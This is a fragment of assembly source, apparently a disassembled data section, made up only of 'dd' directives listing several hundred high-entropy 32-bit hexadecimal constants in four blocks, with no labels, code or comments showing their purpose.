dd 76491F24h, 0EBEAA0BFh, 6636644Ch, 0C0BEDD53h, 2C5BABA6h
dd 0DC975C40h, 0D6491DA5h, 6FAC25B5h, 36F1E3F8h, 8FA8ED98h
dd 5DACCB65h, 735EE52Dh, 0A2279D5Eh, 7AB5C7EDh, 0EED7AB61h
dd 8EA9CD16h, 0FBF58831h, 4B8DA315h, 0E0DDF3EBh, 4BE3D0D3h
dd 1ACE3AB6h, 3A998086h, 7D7C5148h, 89CF7F79h, 217C7704h
dd 0A0382FB8h, 93253344h, 0ABBF89F0h, 9AC23178h, 0BF120792h
dd 0BA46EF69h, 220FEF74h, 0D26C755Eh, 0A333E6C3h, 2F089FFh
dd 5DF8D793h, 2A2EE86Fh, 0BD7A2C9Fh, 9E5BE6Eh, 0CBA8CA6Ch
dd 1C198FD0h, 198A0338h, 0A39D6EAFh, 6EA7E06h, 0FD4C0983h
dd 0FFAF5A4Dh, 0E9108C4Fh, 0C728F398h, 0AFA4527Ah, 60DD06E3h
dd 7A7C1383h, 299C05E6h, 5239A8EAh, 2F14B7DBh, 0DC4F204h
dd 0CDD8B3DCh, 0CA6CC211h, 349F9B1Fh, 0BA9941ACh, 23A1F5BEh
dd 0E52C385Eh, 43BE0C74h, 0CAB95B69h, 70ED94C9h, 39CD8E35h
dd 6AE1B3D8h, 1896725Ah, 0CBBDC423h, 0D33623D8h, 1B5BB49Dh
dd 0AA9E1423h, 935AE80Eh, 0B1E5D0A6h, 4EF948A1h, 0F77CAE6Eh
dd 229BCDE8h, 0A2EB1471h, 7C1E5CDDh, 4CD9BB6Fh, 6D99C86Fh
dd 12EE4387h, 79003B68h, 6322BD0Eh, 48B60DE7h, 0C9815645h
dd 3A726F91h, 6091996Eh, 5B579B03h, 42D77808h, 6E8F54DCh
dd 6CF19D5Fh, 0F21DC71h, 1A6DB658h, 75BF37A1h, 0A0354F85h
dd 3CEEADFDh, 0AB7D457Bh, 0BE4AE34Fh, 0E3FCB282h, 584C6DDEh
dd 0E8BF3180h, 5A1051Eh, 146E9138h, 548CD1FDh, 0A2BA531Eh
dd 0D30620C6h, 4017F51Dh, 8C14960Fh, 4D4CC7ADh, 0EDE76906h
dd 328D05F2h, 0D6A63DDDh, 0DB18919Fh, 9254A71Bh, 3F976D1Dh
dd 56416429h, 91423E75h, 0D9AA1234h, 7346016h, 15E81406h
dd 4118007Dh, 851F394Fh, 6DA2A653h, 90D21FB3h, 3A66D853h
dd 1A147F47h, 7F875276h, 18D26AD6h, 0B78A9E36h, 0EA792BFEh
dd 0E65B017Ch, 87EC3A15h, 0B6482E70h, 8C7DB491h, 0F15834D2h
dd 8E362042h, 339B7057h, 68F982A7h, 1C93554Bh, 53870EAEh
dd 0A574F3FCh, 0B1410F62h, 9A52F295h, 1F69C1D0h, 0EAB32048h
dd 52A887D8h, 0EC1CDAAEh, 5EB91109h, 351F246Bh, 8783B007h
dd 0D410E2AAh, 2D3AD2CAh, 0A52AF248h, 0AD076131h, 6522E1ECh
dd 0DF0A4634h, 277EC335h, 1FC78038h, 9656C332h, 0F3085AC0h
dd 0CF05B55Ah, 330BFACAh, 8B1AEC01h, 1109F6B1h, 9C8A6B16h
dd 0C53DB371h, 611CC82h, 618D5164h, 976164A1h, 0FBB48EBCh
dd 0F5F3D513h, 79836286h, 29813695h, 0A4802EB2h, 0F24582E6h
dd 38A870CAh, 642018E6h, 0D24CAA91h, 62BA9946h, 2D110ED1h
dd 2D9E477Dh, 0BD1F82D6h, 0E6D366F8h, 0D6295329h, 52717DF1h
dd 35C7B2E3h, 0F6111DEAh
dd 5A556A2Fh, 5D5D7CB7h, 0FB5AA2Dh, 0A357AB7Bh, 0F4699257h
dd 64C7797Ah, 69FC94E4h, 66677E0Eh, 7CF71886h, 3E3A6B20h
dd 9C99B794h, 9091FD82h, 7ED5F2A2h, 0F58B229Ch, 2AADC0E0h
dd 2F2D4867h, 8519DAAEh, 528FA34Fh, 733B5D24h, 0EB39830Dh
dd 0CCECE612h, 0CE72D9D3h, 0CA3A129Ah, 791FDC05h, 225F9FF3h
dd 0C9670128h, 0CA27C4B1h, 0B2C65C11h, 0A2654659h, 0D5AD3042h
dd 1062E2D7h, 65B59C6Dh, 3D2D0147h, 592AE00Eh, 653934D8h
dd 0C6CBEA21h, 4E56D375h, 66D66F99h, 3FD65394h, 0D25EE11h
dd 9FDE75B9h, 51BAAB5Bh, 0A874DB8Ah, 6D574CF2h, 0F0F1D96Dh
dd 6E1DDBC0h, 9B769063h, 0D985CA05h, 5DDE584h, 75A01B0Fh
dd 6B630785h, 5395EB07h, 7A917D1Fh, 318A935Ah, 0E70C706Bh
dd 8A02C38h, 0AB023483h, 0CBA03FC8h, 0D2BD1285h, 0A057987Eh
dd 36CFFECDh, 0A9094E19h, 17D02414h, 0BA5642EBh, 5D47274h
dd 0D99DFB4Ah, 0E9704F23h, 3DE790BAh, 51F52BDEh, 7565D207h
dd 0B915AA81h, 13857C78h, 99EF304Ah, 4941D448h, 67859C62h
dd 0CB70DD0Fh, 0AF4993E8h, 70B77322h, 0D6F119E0h, 0D7FC70B2h
dd 54F25E51h, 0E68AE6DDh, 0E2EB8D3Ah, 34540417h, 50E72E00h
dd 0A62F3700h, 46D28CC6h, 84A93E13h, 0B3D755F3h, 726B3DBAh
dd 419C1831h, 4806346Ah, 22264474h, 0F2DA35D3h, 32F0206Fh
dd 6497761Bh, 0DDBC58C6h, 0DB70529Ch, 1038B46Eh, 6C053742h
dd 8DAE8BAAh, 0AB72BB95h, 962A76C2h, 936F47DCh, 8B21B7AAh
dd 86E04378h, 96682C76h, 96DF9E34h, 78A90AACh, 47FB7069h
dd 6913821Ah, 0E21AACF7h, 7036F404h, 5229D054h, 4F9E3C37h
dd 5C916EE3h, 716B8D70h, 0BA54ECEFh, 6562F30Ah, 16E55269h
dd 14F2B6CCh, 0DB0F967Dh, 0BF56E894h, 47AC97E0h, 0B6F78B3Fh
dd 0BAC6A3EAh, 622D8407h, 0B3FE9084h, 0E607F6BDh, 44A01F49h
dd 550D71AFh, 3CD48F61h, 0FCBD316Fh, 5B827452h, 55BBCE06h
dd 0C915CF0Dh, 0E2F3D2EEh, 99764C71h, 68957F31h, 0BF34CC2Ch
dd 1F881BE0h, 14188B5Eh, 8356A9FAh, 0DC5948C0h, 64ECFCB7h
dd 8946E544h, 0C11DDA20h, 0D038426Ch, 0C2ACD448h, 0D20CC3DCh
dd 0B10988EFh, 0EDE3FCA6h, 0A8BB5EECh, 0CC209F25h, 0E2826733h
dd 0D229CD92h, 0D36E7E01h, 75D56036h, 0F6AC750h, 0E0C585C4h
dd 0D68969B0h, 2A966A63h, 3B3E59ECh, 7752BFDh, 557D7B29h
dd 32350B39h, 8A62C10Dh, 411ECFD4h, 0EEFDFDFAh, 0A62706Fh
dd 21DFC758h, 2E0B6F3Ah, 30DB9918h, 2FBC37ECh, 0B796F3D6h
dd 0D199EE50h, 6A57979Bh, 3556CCB1h, 0E5E8E5D4h, 4CE74DCEh
dd 0F787CD58h, 5DA43DE3h, 23FB10C5h, 7DA3E7DCh, 508C832Fh
dd 505CB907h, 3B0BC380h, 347133DAh, 1A6E6AFDh, 0BE89F204h
dd 0E5EFF113h, 3315FC2Fh, 50148541h, 0C5A3BA0Fh, 6B9C5553h
dd 743C461h, 30CF30B1h, 2C712626h, 0AEDE9164h, 7F804BFAh
dd 0ACD9418Ah, 0F2F29697h, 6221DF9Bh, 0F730C2C3h, 0A4BB0398h
dd 0F2645713h, 0E5AC0AD5h, 0B04485D7h, 664CD8D7h, 974310DEh
dd 0DF2D79DBh, 9E26CD0Ch, 0B07B8F0Eh, 0A4F4CFA3h, 1C791CBEh
dd 0A4B514Bh, 3BF6B213h, 0E5AD4F10h, 3DB4A758h, 359C3BFBh
dd 9A7DA19Eh, 0EA8E4A55h, 0A52C6407h, 9D29ED1Dh, 0E6BC82D5h
dd 0F8ED1F1Bh, 7D07966Bh, 0BF583184h, 9A267F9Eh, 77AA64Fh
dd 11C893F7h, 287733B3h, 0C47AC8AAh, 2D94303Dh, 6E4337F1h
dd 3284A02Ah, 0D56BB135h, 0DC6ECB1Ch, 0F62E87A5h, 9AA4D8ECh
dd 3C9E6892h, 148E5DAAh, 10987D21h, 391A4A6Fh, 0B0EAAD67h
dd 6BD8F3FCh, 14269152h, 71AA15A8h, 125571FEh, 953CD912h
dd 3E802FC1h, 514C0C75h, 5AB33329h, 4D8C1118h, 975A9B30h
dd 0BF88D851h, 0F6E89444h, 0D2CA39F9h, 2DB3C15Fh, 0C3B75E3Ch
dd 0E51E441Bh, 0D0331AE6h, 45136C4h, 96823FF4h, 0FBC7CB48h
dd 0BBB86BA3h, 0D613EF8Ah, 60F449CDh, 23EDE4C4h, 0C447FBCh
dd 189D73B7h, 87B55C7Bh, 875EACA8h, 0FB5DE3C3h, 0C6D31F8Ah
dd 0A23ED15Ch, 0B27EFFDCh, 0D823D1F9h, 0C5EF16B8h, 0BA86404Ch
dd 0BB9B4C10h, 99889396h, 0A24FCF72h, 86F331C4h, 43768DC3h
dd 7410FCB2h, 0B33851A2h, 0EA2A0094h, 82F31DCEh, 0CD85B3B6h
dd 116E0894h, 8FD0147h, 0A53E7EB4h, 0C878C6ACh, 4F2E05BAh
dd 0A529EBB8h, 0A67E74F5h, 0B7072C74h, 0D53C12E2h, 0EB5B4B71h
dd 4E55B549h, 6FFF9614h, 92BB50DFh, 0FE15C686h, 1DED6965h
dd 0E2D7C447h, 1CA26515h, 5116A087h, 0E4F9BD78h, 0D226844h
dd 0E1592B44h, 0CAE6F848h, 0A5C13300h, 13A99A3Fh, 0DE117F85h
dd 0EAE9A88Ah, 9034FA1Ah, 0B672CA01h, 4F5C17F2h, 0EE549A5Bh
dd 0F5BFB75Fh, 0BB7953F9h, 0E6D58922h, 0B8A6B968h, 0CDE8C1DBh
dd 250D9F0Eh, 0D284C904h, 78092AFAh, 7BF08DBBh, 8CC30975h
dd 9EE59685h, 7F0058D2h, 6C09EFC0h, 8EA42EC8h, 856222E9h
dd 0DA707BB9h, 9B31ADD8h, 3A4DDC85h, 9DC50FBFh, 0D9387254h
dd 0D68707E3h, 59B6A5E7h, 485A1A36h, 0E2931C17h, 0F50E5BECh
dd 54581A3h, 8549F1D2h, 7863A0E3h, 5A71C1A6h, 0AFC01E9Ah
dd 8E7DEC3Fh, 9F29A260h, 0D2BB2775h, 2FD62440h, 769E6394h
dd 0EC21C144h, 89CECBECh, 83243A04h, 0FFD07A03h, 0E1F0BEFFh
dd 17DBB17Ah, 0D2626796h, 8C8A58A2h, 0E0DA540Dh, 7121591Bh
dd 0B3F13CD7h, 0E18DE2A5h, 0BFEC3AB9h, 41D16109h, 93DF580Eh
dd 1EA6424Dh, 3397C89Fh, 0F2C61D5Bh, 5EC495EBh, 0C4DAE7C3h
dd 0D592F93Fh, 0B081AD9h, 0A96223F1h, 0E806F540h, 0E24A0B21h
dd 626A780h, 8AF956CCh, 0D2A5C75Eh, 37FC5D2Ch, 0F72CA2E2h
dd 0FDD4BDBCh, 0AD75D3A7h, 0A34FFCE5h, 9AF1B2E6h, 3E66F1Fh
dd 2D974210h, 0FB93F780h, 0CA814A2Ah, 0B33FEAC9h, 624ABA8Fh
dd 37562D59h, 119C6A91h, 0D6836E34h, 4A99D24Dh, 14A09638h
dd 0B37AC57h, 39AC6195h, 37D13A5Ah, 7DF95BD3h, 680F9A60h
dd 2CF337EBh, 780393F7h, 157C8EEAh, 5EF7B50Dh, 1CF32F59h
dd 9F1851F1h, 28692702h, 26B08C52h, 49CDEAEFh, 0CE6DF88Dh
dd 7229F924h, 0C47FE0D5h, 0A73FFF27h, 0E33362FFh, 0C6550E7h
dd 159E8A6Dh, 0E47DB6A0h, 0FA2F1A02h, 0DDEB4924h, 8911FFFBh
dd 5B1E6A14h, 0BF62F0F6h, 0CE76EA79h, 319AA9A1h, 19043F69h
dd 7E8D145Ch, 0FAFC2EACh, 0B3357DDEh, 62D8D84Eh, 711F6ACh
dd 4E13A32Fh, 0ACF957C3h, 4BCF20B3h, 62BA68C4h, 36D680F2h
dd 50FCFECEh, 9B0C2906h, 0CD037F0Dh, 7F2F99F6h, 0DB646B3Dh
dd 0D39E062Ah, 14D13D10h, 0B8FCE86Eh, 5DB8AAA2h, 51C9CD7h
dd 689259C3h, 3DF3B9FCh, 791871D0h, 27919149h, 29FE4A37h
dd 0F98A828Fh, 957C40Ch, 4FBD6521h, 47E6DC97h, 0FC2D39D3h
dd 2B39E292h, 0F34C67C1h, 7818E0D0h, 0A72E7A4Ch, 0C32BA32Fh
dd 0C1AF5BEDh, 0CFE9D780h, 0D93BBA81h, 386BCE03h, 2B2C6910h
dd 6351FBB1h, 96067244h, 39CA49D5h, 0E9EEB7h, 0FCC131Dh
dd 45B43C32h, 5A704B49h, 445335CAh, 447ECF60h, 0EDD66D67h
dd 0A97C11D5h, 2D61FF41h, 7BD2281Eh, 0F2AC0797h, 2EDEF764h
dd 255C08FEh, 37516B0Ch, 63A3CB58h, 0A0477EB8h, 0C82F648Fh
dd 35F7E453h, 49C21F2Bh, 0CA0AD42Ah, 89FDAEEAh, 0C3C4EE93h
dd 79218524h, 50541A1Bh, 0D8585871h, 575F4796h, 8E133054h
dd 2F306A54h, 0C71612FAh, 0FA0BB42Ah, 0EDA80D4Bh, 0A730F982h
dd 9625213Ch, 0C94C4232h, 0E68A89E1h, 0C8320729h, 750EEFA0h
dd 0D02DD1DFh, 7079CF27h
dd 4AADAAD7h, 0FC184519h, 297556A6h, 58AC386Ch, 6016486Fh
dd 0C8861A2Dh, 1167BD74h, 0F274829Eh, 73084875h, 4FC195EAh
dd 636C0205h, 31DBC62Ch, 6A697699h, 5AB83AC8h, 0C12BABE1h
dd 0E38A7F38h, 973AA354h, 0D78CD2C5h, 4A680D1Dh, 21C8CE37h
dd 4D08059Bh, 0D188C54Ah, 48EA8BF3h, 120E343Bh, 0B0893CF3h
dd 0B8D96CA9h, 32AD068Dh, 4D1D7285h, 0C971899Eh, 0A19D92C5h
dd 637C1868h, 855B554h, 7970156Fh, 5290709Ch, 3F158344h
dd 0C1A1CAC2h, 781FB721h, 2EDE76A5h, 7B3684EFh, 6DB083DCh
dd 28A79E90h, 0DF9A6F1Dh, 0BC92B92Eh, 0CBE78586h, 0B8465D2Ah
dd 30FC1D9Fh, 5AC2C5D9h, 0A8602398h, 0BCE78FEFh, 65CA5E8Fh
dd 0D21FF84h, 0AE552930h, 180682D2h, 491158FAh, 241FF3D1h
dd 70B20FA3h, 46348BD0h, 0EC5628C0h, 0DD610304h, 0E7C182B2h
dd 316B7650h, 817F1AE8h, 0FD2E94DBh, 0BEB8B4CEh, 29B4B25Bh
dd 0B642A76Eh, 425528D3h, 2BE79F50h, 0E12045DBh, 0FCB5106Bh
dd 7CBCC945h, 826309C9h, 7D9EC8BEh, 4E0355EEh, 672A85F0h
dd 796FDD46h, 51CE8711h, 33D27BBEh, 39E81716h, 0BC360C7h
dd 14C2D5DCh, 628BE208h, 9DD369B2h, 0DB568596h, 0C7E6DFD5h
dd 14ECC9B7h, 0C19F02C9h, 6783E1EAh, 58C7C56Fh, 720687CCh
dd 8786CCF5h, 57D6C2AEh, 103D2066h, 34818A39h, 9C2CD02Bh
dd 0F7868121h, 6D72EDD2h, 0BEC6ABCFh, 0EFE3BA7Dh, 0E0818738h
dd 0FF5A3A63h, 6F875226h, 8C15F2D7h, 0F22CCCAAh, 764D7DBAh
dd 0D110E258h, 3109A4AEh, 6BCC5848h, 0F837015Fh, 0C4FFF00Fh
dd 0D56FF809h, 691952F9h, 882B850Bh, 0E7ACD58Bh, 128CDF55h
dd 0BCD3AF4Fh, 0E6C54037h, 0C4458D63h, 0FB85CD33h, 0FDB2D4D3h
dd 13B834B3h, 0AADED721h, 7D6F09EBh, 313930EDh, 6CC7CE55h
dd 7A48AF9Eh, 8AA566D0h, 4BAD7733h, 9945F1Ah, 9498C0BEh
dd 0FE35A2DAh, 0CDF38AEFh, 252D559Bh, 143CFBA6h, 0D65530D2h
dd 8B327C3Eh, 2E8362ADh, 0E84DDADh, 63A18304h, 4F29432h
dd 0D3730B95h, 0EA352335h, 0DC23D660h, 3E4D8316h, 6B7FA6ACh
dd 68841C85h, 3F2EFADEh, 0AEBC4EECh, 39ADE99Ah, 0D0F87105h
dd 0C58FB4DFh, 0AFE8BF1Eh, 256C171Ch, 5DFF913Bh, 6B1F1B93h
dd 0A01D6A89h, 7B240810h, 0CD28FF3Fh, 7F7CDE88h, 73A57D03h
dd 0DB806986h, 2B55F54Ch, 701BE7F1h, 67750447h, 99FD77C4h
dd 0CB18A432h, 15E279BDh, 0E6C033BAh, 12DE312Ah, 366F2FE5h
dd 42A525BAh, 0BBB17FF4h, 0BDFF805Eh, 137F7712h, 0CD96294Eh
dd 6C7829ECh, 6C177717h, 23F271Eh, 0EBF516C6h, 0E75F266Fh
dd 0F6797558h, 3215D98h, 616E179Bh, 35B16964h, 4A496DDFh
dd 6C4996E7h, 1D6F7DAFh, 0A84467A6h, 8BD693CEh, 0BD2AF156h
dd 0A126314Ch, 5305EE30h, 2FB4E352h, 4D2C4A0h, 8E18DC38h
dd 8247B7E3h, 48E619B6h, 0A8A1015Eh, 0DB3859F4h, 0F0FC67FFh
dd 4DC58CAh, 1E57D6C9h, 0CED489D8h, 0DA8C751Bh, 27C07518h
dd 57E4641h, 0DB5066E8h, 5E190AC7h, 0F3A434DEh, 3F1296Fh
dd 0CF4D108Fh, 0A2D5E9FFh, 41B32263h, 5B3717C3h, 9C6C498Ch
dd 0FAEA4CE7h, 0C4FA3134h, 890DA8EAh, 4316132Ch, 0DE774E8h
dd 0F40071F7h, 2A29CC15h, 6D8BBA57h, 70EA010Ah, 5373CFE5h
dd 7B152104h, 54D3E7FEh, 47096CEh, 8CA67397h, 0C78FA744h
dd 9DC67BB5h, 873ABE1Fh, 0FCB710EAh, 0F2F8780h, 0C9A64BFh
dd 5DC4A03h, 0E89720A3h, 0C2099Ch, 0ADBFEC02h, 63316501h
dd 3ACE0F64h, 96F0166Bh, 17035C67h, 7A607170h, 618C9048h
dd 0C21292Eh, 0F5398A9Ah, 0BDACF0D3h, 127C170Ah, 0C3956384h
dd 739A5327h, 51458337h, 68267FF9h, 663481AEh, 15D97B7Ah
dd 0B077BC21h, 0E16B1FDDh, 0EC566734h, 463A9479h, 9B57BD5Fh
dd 800D3DE1h, 51BE8DBFh, 11C972h, 0E26F7F12h, 0BF065C4Ch
dd 499A684Ah, 5A5BFE36h, 0FE60F2A0h, 0BF9899F8h, 2BF942C3h
dd 9CCD49E0h, 2117043Eh, 5430748Dh, 1D48DBC5h, 0CE18CD9Fh
dd 5CFAA4A4h, 1FFB9884h, 5567625Ch, 3375C03h, 0E5F9C36Eh
dd 0F12A1752h, 9992E037h, 0B0E309F4h, 4D97286h, 87FC9FEFh
dd 50B7CE8Ch, 0E00CFF51h, 71200754h, 6474A701h, 1DDA238Ch
dd 0F5F77957h, 0F48F71Eh, 0A9B18B9Ch, 0DB850D8Dh, 1A337AC3h
dd 0CC39CCDEh, 0E966F031h, 0DFEF19B7h, 0F38F5B5Dh, 8D5AB1BEh
dd 98F1395Fh, 3BBF4A63h, 0B6C3B0EBh, 0C2F137EDh, 8B188E7Bh
dd 0C7D7C6BBh, 590F8ECh, 193F090Ch, 2D179851h, 0A26EDC2Ah
dd 9BEEB73h, 347C0C58h, 0AFF76AE4h, 0FA769267h, 5D1DBDB7h
dd 0E2BFCE86h, 68A48BC9h, 7C0576B9h, 9321FD78h, 0C802F8A9h
dd 2560F323h, 36D80D6Eh, 29DAA79Ah, 6B59DD40h, 0CDD2489Fh
dd 499372h, 0CCAB2D48h, 0EF320E58h, 0DB033044h, 0AECFC07h
dd 0C149EC33h, 6C5F4A4h, 26F9391h, 0B745C4BBh, 60BAD97Fh
dd 0F4E7CB39h, 44B33528h, 6584DB06h, 93078BCAh, 510E4E28h
dd 0BFD35785h, 0D6059245h, 0B79828C5h, 0CBB9C435h, 0BFD4D19Ch
dd 8C072620h, 6B512623h, 7DE8E119h, 0CA649C84h, 0FC51DC03h
dd 2CD5DD42h, 0FBD457EEh, 0D9F7B654h, 62F33D4Ch, 6E261575h
dd 5DFAE50Fh, 164673D9h, 0E39C6DBBh, 0D7050E11h, 0BCB30C0Fh
dd 915ADBB6h, 70EBE6A0h, 3EFDE444h, 987FFA72h, 0A5F6652Ch
dd 0B8430C19h, 0C56BA020h, 9C463915h, 0FC745B90h, 0DCDE1085h
dd 6FF452FDh, 6A35391Ah, 17060838h, 62F09A8Ch, 62981D66h
dd 8D750D6Eh, 2086EA4Eh, 0DA735F93h, 7DE31D25h, 3340A319h
dd 58A8CB4Eh, 0CA705B40h, 0E45DEAFDh, 51B9D52Ch, 0F94E00Fh
dd 61E96CC5h, 96AAA4Eh, 1D49E7BAh, 0F0FF0B05h, 357E612h
dd 0C85C83BDh, 6F9137F0h, 2B00B131h, 437C15ECh, 6C44FA7Bh
dd 72364B82h, 0A5F0D70h, 574C27B0h, 0A50F8F83h, 17A33546h
dd 8D764AA5h, 0AA5F2BBAh, 0D2AC781Ah, 5395B52Ch, 17CBBD2Eh
dd 2849EE5Bh, 43D15828h, 0E143C166h, 563D0461h, 2AD42CDDh
dd 3725C4C5h, 285DFF31h, 590960F1h, 63D451DFh, 0AE046D11h
dd 0D4B13F55h, 89784DFDh, 0DA100F40h, 0ECBE1717h, 0FFBE136Bh
dd 231BFE31h, 9664F99Ch, 3637F697h, 0E6B745C3h, 9969EB80h
dd 0E49AAC4Dh, 7F1B0B96h, 54B826F7h, 0EC4AD027h, 7BA704E5h
dd 0E61D6222h, 0BD10ED68h, 16643A8Bh, 7B58636Bh, 0E4E60B52h
dd 7B50F176h, 6A65A923h, 0CC7B010Fh, 0E1C61D8Dh, 32BA714Ah
dd 0EA1D6BD9h, 0F2805991h, 9BBE70C4h, 7B3D4CE4h, 0B7AED4D7h
dd 31707EBCh, 0DEBCA9D8h, 0D771323h, 0D99290A2h, 0A6BB0E96h
dd 2311A799h, 64CD2937h, 4110773h, 0B4A9EDBh, 0CF64064Fh
dd 73157D5Bh, 6C3806Bh, 0AA9D4517h, 4E2E5868h, 37363111h
dd 0DEAFA10Ch, 234D2852h, 0A90FCFF0h, 94E6A7A0h, 8DF67D4Eh
dd 38846E05h, 0FE860B77h, 52A63AE3h, 3F96C7C3h, 0C6A38180h
dd 0FAD7A791h, 0E4F64447h, 0B033BE57h, 0F3E22A6Eh, 42A88FA1h
dd 55AF4B27h, 0B631E98Ch, 45045FCh, 6668155Bh, 0BC5E3CD1h
dd 8504E28Ah, 7BDE4158h, 0E5570B0Ch, 6C789160h, 55DD012Ah
dd 0FE13A9B1h, 2EAC080Ch, 0B3F1C0CEh, 18043AC7h, 0E0A764A3h
dd 531AAD4Eh, 0E5166FAAh, 35FBB50h, 7AC413BCh, 0D4935067h
dd 31FD2166h, 0E1592A11h, 0EA97EE07h, 0F58F4748h, 0F2909836h
dd 0F37A2BFDh, 0C37477F0h, 0E50580D0h, 65F5F9EDh, 0A6406315h
dd 0CC835B1Eh, 34F59186h, 0DE35B75Fh, 0C97C584Eh, 0CB80373Bh
dd 36A3DAADh, 9DA18BD1h
dd 5A9A42A0h, 0E8548EE0h, 4327240Dh, 0DF1EAC9Ah, 9638C406h
dd 737FEA1Ah, 3FB5DBBBh, 0E2397D58h, 80494DB7h, 12529AD0h
dd 0EF63A9E7h, 0DE843695h, 5BC2F287h, 9E8C69A9h, 6B3E009Eh
dd 0EEBABAA4h, 7EBB82EDh, 0E4CC8F4Eh, 52FBD5h, 6F5A3885h
dd 0BEC4A65Ah, 0D30FE844h, 7BDD81B8h, 0D17549A8h, 344E26F7h
dd 0D85F9CDAh, 0A9A6C38Fh, 49B25B01h, 698253B4h, 14C4A5B0h
dd 873A155Bh, 0EDF7E99h, 5F3B0D2h, 25AA1A73h, 0AA7B10AAh
dd 3D5E0DD3h, 658EFEB1h, 45946330h, 0E41D6933h, 0A4810A8Eh
dd 9D3B9069h, 0A824A7ECh, 0FB22FC85h, 0CD3B9A93h, 947953ACh
dd 8D4D1564h, 8B62CC15h, 0ABF7A5F9h, 62054BB0h, 4425688Bh
dd 0DA7B6D4h, 3EFBA1BBh, 0FDD94530h, 0C17D60B2h, 0A44913B0h
dd 247B3707h, 0A7D4E2D0h, 986C0DDAh, 1705283Ch, 0ACAE23AAh
dd 0E5316E38h, 56782341h, 5D39851Ch, 12388227h, 0DAEEC041h
dd 295AF17Dh, 9960D69Dh, 0F36CBD76h, 2DFFC406h, 19909657h
dd 0F720965Bh, 0E2FDC780h, 0D5DF21A2h, 0B183EF6h, 7E34903Bh
dd 5F8FAC6Eh, 0EC86A604h, 0DFDF6848h, 0EC9E81Fh, 9CEE4B3Ah
dd 0FF59DEA1h, 2863B7D8h, 520467B4h, 0D1A83286h, 3A76E61Bh
dd 16D39203h, 0B5623635h, 0A2BF31E8h, 58775A3Bh, 67C77BF3h
dd 0EFB2DD5h, 0FC6E2B63h, 0E1010829h, 2852AE28h, 0FCEB416Eh
dd 608AB3E4h, 8A10F988h, 0F11C256Bh, 0C6439D5Eh, 0D2AD553Bh
dd 2CAF99ECh, 18ECA049h, 260030F2h, 0BA052138h, 1C1DA3CCh
dd 0E74367ECh, 8012CCFFh, 13593A6Ch, 0FC610BACh, 0BFBB7960h
dd 413C478Fh, 0A776AB26h, 0B013AC92h, 38C00A0Ah, 750749B1h
dd 60F5F165h, 62887BFBh, 4C58B92Bh, 57CFC287h, 0BDB17ED8h
dd 306B293Fh, 0BF11556h, 761BF6B4h, 73346B06h, 99551FA4h
dd 4F0A5EC6h, 276DA9F9h, 0B770EAEh, 0CFA08733h, 3A57F3E7h
dd 69B1AA65h, 9A80C27Bh, 0D4AD472Ah, 6FAD19D2h, 0A0CFC759h
dd 0ADDAF223h, 4EB87A9Ah, 358F290Ah, 1135846Ah, 7F9BE67Ch
dd 0E26F5B04h, 9B9EF608h, 42FBE782h, 57B51D00h, 0FC06FA23h
dd 26C4F915h, 0C664C2DEh, 2EA651E7h, 3AA36C86h, 0DF091AF4h
dd 0B57EEB24h, 2132DB37h, 3F2B0455h, 1C3B225Dh, 0B2A60301h
dd 2DFD002Ch, 7ACF0A5Fh, 0E5D80D8Bh, 7271358h, 0FED4D8Dh
dd 0B3F3A7F6h, 2C5F427Ah, 38B71C57h, 988D569Dh, 6FC595F4h
dd 40B17C2Eh, 0AAABFE7Dh, 0F492C7EDh, 0F767A6BDh, 2136A74h
dd 0B32A0FDDh, 0FA6D87B7h, 0D66288A4h, 58B54F6Ah, 0D2ABC703h
dd 0A7CDDE8Bh, 816E079Bh, 36CB94C5h, 47EA5D84h, 6F581E6Eh
dd 2FEC79C3h, 0A3492123h, 0E99B80B2h, 0C39002Fh, 0BAE068D5h
dd 1871986Bh, 578869D9h, 0D7F61A46h, 2335BE17h, 0D55B5EC5h
dd 0D96D9FF5h, 0E4BC8840h, 2A9E12A9h, 0DB973E76h, 9697BB0Dh
dd 0C60F2DE2h, 62B10A51h, 9ED1828Ah, 2DC3CF81h, 7E917D4Bh
dd 0D87803E3h, 44615A08h, 1D6887Dh, 583E2D5Bh, 3477039Fh
dd 0B6FCFB86h, 0CFBD6E94h, 0C8A99283h, 0E07C668h, 0AF10ED9h
dd 0D59ADFF0h, 5FA11C5Ch, 0B48A0C99h, 5367FF18h, 3E5CB84Ah
dd 96B9C784h, 9A43B640h, 0C295722h, 1EE8EDBAh, 699B797Fh
dd 0EF3726Ch, 19583010h, 0D7EE9928h, 41D73C0Dh, 0A9826D7Eh
dd 8F154A32h, 295FE76h, 8EE18D0h, 0F826FEEDh, 0D9302D4Bh
dd 28902FCEh, 0F545C4DAh, 7E787372h, 1F93ED84h, 0D073214Eh
dd 0FC87DCF7h, 0EAB4A02Dh, 38E4C015h, 4DDF00D6h, 7F46213Ch
dd 0E31358E0h, 5B076907h, 0D477B3Ch, 0F02CEAF4h, 0ED334350h
dd 0AE33FA2h, 0E989817Eh, 0BD4AA543h, 0EE5C61C6h, 0DBF082FBh
dd 0D4010510h, 0D3BE82ABh, 162DB61Bh, 36B2C9DFh, 81A30663h
dd 55B9F7DAh, 0F05A51A3h, 711592BFh, 8871AF7Dh, 29472FDFh
dd 0B8144B20h, 9C09C001h, 3CCDCF83h, 835F7F6Ch, 8B14851h
dd 4B34D090h, 0A08F7B7Eh, 45651DDDh, 37369073h, 8D2BBFC9h
dd 0AF556A1Fh, 0DAA61BC7h, 6CBA30EDh, 0E0CD6846h, 2F3EA08Fh
dd 2F1A41C7h, 34F244BBh, 0D7A5EE75h, 323B32ABh, 29CADCF7h
dd 0BB2CDA59h, 89BE1BF9h, 92EF8DA2h, 6C04937Dh, 0C90A7926h
dd 0FD500223h, 8266B6DDh, 4992A41Ch, 0EE84E808h, 2E1E4627h
dd 1AF70AADh, 0FE114F69h, 7FB57C1Ch, 0FEA17146h, 2966F4B8h
dd 0E1C2C936h, 23F9BC52h, 5FB3AFA4h, 1D070140h, 0D8750765h
dd 0AB2BFD2Fh, 39385BB9h, 6F225149h, 0B7E637BDh, 0F3124310h
dd 964EC826h, 17E3EA14h, 4231A566h, 0ED2C4F58h, 221655AFh
dd 0E1A9818Fh, 7160F657h, 2CFFE35Ah, 461459E2h, 0D60B35BDh
dd 0A7CCBB02h, 6965C040h, 0BD61F444h, 0ADAA40B0h, 0D4898D37h
dd 7FE39C23h, 0F967473Fh, 0B85E499Dh, 6AE234CBh, 0ACB93BE9h
dd 4782863Bh, 6F164DA0h, 2B1D3E4Eh, 8872F4A9h, 0C5912C72h
dd 0F87F3A8h, 576D1518h, 0C7E541BFh, 0B709BBCBh, 0C0AFFF01h
